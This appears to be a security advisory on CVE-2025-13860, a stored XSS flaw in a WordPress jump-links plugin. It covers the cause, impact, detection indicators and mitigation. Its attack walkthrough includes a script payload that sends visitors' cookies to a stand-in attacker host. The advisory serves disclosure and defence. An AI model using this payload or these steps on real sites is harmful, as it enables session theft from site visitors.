CVE-2025-13860: 
WordPress vulnerability analysis and mitigation

CVE-2025-13860 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Jump Links Menus plugin for WordPress, affecting all versions up to and including 1.0.0. The flaw exists in the h_tags parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages. It was published on December 5, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code is located in the plugin's main PHP file (easy-jump-links-menus.php, line 52), where the h_tags parameter is processed without adequate sanitization before being rendered in page output. An attacker with at least Contributor-level WordPress access can submit a crafted post or page containing a malicious script payload in the h_tags parameter; the payload is stored in the database and executed in the browser of any user who subsequently visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers whenever they visit an injected page, impacting both confidentiality and integrity (CVSS scope: Changed). This can lead to session cookie theft, credential harvesting, defacement of page content, or redirection of victims to malicious sites. Availability is not directly impacted, but the persistent nature of stored XSS means the payload affects all subsequent visitors until removed (Wordfence, ENISA EUVD).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-13860. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Easy Jump Links Menus plugin version 1.0.0 or earlier, using tools like WPScan or by checking the plugin's readme.txt file exposed at /wp-content/plugins/easy-jump-links-menus/readme.txt.
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious payload: Prepare a stored XSS payload to be injected via the h_tags parameter, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Inject payload: Create or edit a post/page using the Easy Jump Links Menus plugin block or shortcode, inserting the malicious payload into the h_tags parameter field and saving/submitting the content.
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected content, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to pages using the Easy Jump Links Menus plugin with unusual or encoded content in the h_tags parameter; repeated page views from diverse IPs to a specific injected page.
• File System / Database: WordPress database (wp_posts or wp_postmeta) containing <script> tags or JavaScript event handlers (e.g., onerror, onload) within content fields associated with the Easy Jump Links Menus plugin.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the plugin's output, potentially carrying cookie or session data in query parameters.

WordPress site administrators should immediately deactivate and remove the Easy Jump Links Menus plugin if no patched version is available, as all versions up to and including 1.0.0 are affected. Site owners should audit existing posts and pages for injected script content in the h_tags parameter and remove any malicious entries from the database. Restricting Contributor-level user registrations and enforcing strong authentication (e.g., MFA) can reduce the risk of exploitation until a patched version is released (Wordfence).